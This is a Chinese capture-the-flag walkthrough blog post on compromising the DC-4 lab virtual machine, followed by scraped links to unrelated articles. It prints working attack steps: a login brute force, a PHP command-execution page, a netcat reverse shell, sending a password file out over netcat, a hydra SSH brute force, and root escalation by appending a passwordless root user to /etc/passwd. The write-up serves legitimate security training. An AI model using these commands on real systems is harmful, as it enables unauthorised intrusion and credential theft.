内网渗透DC-4靶场通关
个人博客:点我
DC系列共9个靶场,本次来试玩一下DC-4,只有一个flag,下载地址。
下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。
IP
DC-4: 192.168.31.176
Kali: 192.168.31.17
Win7: 192.168.31.168
信息搜集
首先是主机发现,得到靶机ip
arp-scan -l
对其进行端口扫描,开放了80、22、4444端口
nmap -sV -A -p- 192.168.31.176
先80端口登上去看一看,是个登录窗口。
御剑对其进行目录扫描,所有php网页都是跳转到index.php,因此无论如何都要登录进去得了。
渗透过程
这个登录界面做的很简易,明显就是想让人攻进去。或许存在sql注入(但我没有试出来),直接丢进burp一波爆破,爆出账号admin,密码happy。登进去后是一个命令执行。
使用burp抓个包看看能否截获。果然只要修改radio的值就能修改执行的命令。
当然shadow是不可能让我们看的,可以看一看login.php,密码确实是happy。部分源码如下:
login.php
...
<?php
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == 'admin' && $password == 'happy') {
$_SESSION['LoggedIn']=$username;
}
else
{
...
command.php
...
if (isset($_SESSION['LoggedIn'])) {
if (isset($_POST['submit'])) {
if(isset($_POST['radio']))
{
echo "You have selected: ".$_POST['radio'] . "<br />";
$my_cmd = $_POST['radio'];
//echo $my_cmd;
$output = shell_exec($my_cmd);
echo "<pre>";
print $output;
echo "</pre>";
}
}
echo "<p><a href='login.php'>Return to the menu.</a>";
}
...
本来想上传个webshell,结果当前目录没有写的权限,我是用命令执行漏洞nc反弹shell的。
nc -lvp 4444 -e /bin/bash #靶机发送shell
nc 192.168.31.176 4444 #kali连接
python建立虚拟终端
python -m 'improt pty;pty.spawn("/bin/bash");'
登录进来就是www-data用户。
提权
然后就各处常见目录翻一翻,最终在/home中发现三个人类用户-> jim, charles, sam
只有在jim中有文件,其他都是空的。
test.sh就是个循环四五遍的echo测试,mailbox是root发给他的一封信,也没有什么有价值的内容。backups中有文件old_passwords.bak密码备份文件,利用python建立HTTP服务或直接nc传输到kali上来进行ssh的爆破。
nc 192.168.31.17 7890 < old_passwords.bak
nc -lvp 4444 > pass.txt
hydra -l jim -P pass.txt 192.168.31.176 ssh
爆破出jim的ssh密码为:jibril04
直接ssh连上去。sudo -l看一下能执行什么管理员权限,结果直接sudo就没有权限。内核漏洞更是不存在。
这里我卡了很久,一直没有什么提权思路,jim的权限着实太低了什么都不能干,一直想着怎么提到root,最后想到还有两个用户,可以二次提权。最终那封邮件给了我启发,在/var/mail中找到一封jim的邮件,查看里面就有charles的密码,真是没想到。
su到charles后就能执行sudo -l了,发现teehee是可以以无密码以sudo执行的。
我也不知道teehee是什么,–help看一下文档,
-a 参数可以追加文件,但不会覆盖,直接就想到了在passwd中加一个root权限的用户不就可以提权了。
echo "haha123::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su haha123
最后在/root中找到flag
总结
整个靶场整体并不难,主要是后来得提权要通过邮件还是难想到的。
内网渗透DC-4靶场通关的更多相关文章
- 内网渗透之vlunstack靶场
前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...
- 【CTF】msf和impacket联合拿域控内网渗透-拿域控
前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...
- Linux内网渗透
Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...
- 7.内网渗透之windows认证机制
文章参考自三好学生域渗透系列文章 看了内网渗透第五篇文章,发现如果想要真正了解PTT,PTH攻击流程,还需要了解windows的认证机制,包括域内的kerberos协议. windows认证机制 在域 ...
- 利用MSF实现三层网络的一次内网渗透
目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为 image/jpeg 上传大马之后发 ...
- 内网渗透测试思路-FREEBUF
(在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...
- 内网渗透 关于GPO
网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...
- [原创]K8 Cscan 3.6大型内网渗透自定义扫描器
前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...
- [原创]K8 cping 3.0大型内网渗透扫描工具
[原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...
- [源码]Python简易http服务器(内网渗透大文件传输含下载命令)
Python简易http服务器源码 import SimpleHTTPServerimport SocketServerimport sysPORT = 80if len(sys.argv) != 2 ...
随机推荐
- 挂载redhat镜像创建本地yum源
上传镜像文件到/mnt文件夹下,或者上传到其他文件夹下 挂载镜像路径/mnt/cdrom 在mnt文件夹下创建cdrom文件夹 创建命令:mkdir cdrom 挂载镜像命令:mount rhel- ...
- Spring系列之JDBC对不同数据库异常如何抽象的?
前言 使用Spring-Jdbc的情况下,在有些场景中,我们需要根据数据库报的异常类型的不同,来编写我们的业务代码.比如说,我们有这样一段逻辑,如果我们新插入的记录,存在唯一约束冲突,就会返回给客户端 ...
- shell循环语句for
1.方式1 for i in {list[0]} {list[1]} .. do 执行命令 done 2.方式2(三要素循环) for (( 初始值; 判断值; 步长; )) do 执行命令 done
- Python - repr()、str() 的区别
总的来说 str():将传入的值转换为适合人阅读的字符串形式 repr():将传入的值转换为 Python 解释器可读取的字符串形式 传入整型 # number resp = str(1) print ...
- Scanner类、匿名对象、Random类、ArrayList集合、String类、static静态类、math类和Arrays工具类
一.Scanner类 1.除了八种基本数据类型,其他都是引用类型: 引用类型使用三步骤: 2.Scanner类 引用jdk提供的类,Scanner在java.util包下,不在java.lang包(S ...
- k8s资源管理(基础操作)
1. 基础 本文实操基于k8s 1.22.1 # 可以查看资源分配情况 kubectl describe node # 全局资源情况查看 kubectl api-resources 1.1 apply ...
- java.net.NoRouteToHostException: 无法指定被请求的地址
今天压力测试时, 刚开始出现了很多异常, 都是 java.net.NoRouteToHostException: Cannot assign requested address. 经网上查资料, 是 ...
- leetcode-螺旋矩阵(指针)
给你一个 m 行 n 列的矩阵 matrix ,请按照 顺时针螺旋顺序 ,返回矩阵中的所有元素. 示例 1: 输入:matrix = [[1,2,3],[4,5,6],[7,8,9]] 输出:[1,2 ...
- Insecure CAPTCHA (不安全的验证码)
dvwa不能正常显示,需要在配置文件中加入谷歌的密钥: $_DVWA[ 'recaptcha_public_key' ] = '6LfX8tQUAAAAAOqhpvS7-b4RQ_9GVQIh48dR ...
- fibnacci数列
斐波那契数列(Fibonacci sequence),又称黄金分割数列.因数学家列昂纳多·斐波那契(Leonardoda Fibonacci)以兔子繁殖为例子而引入,故又称为"兔子数列&qu ...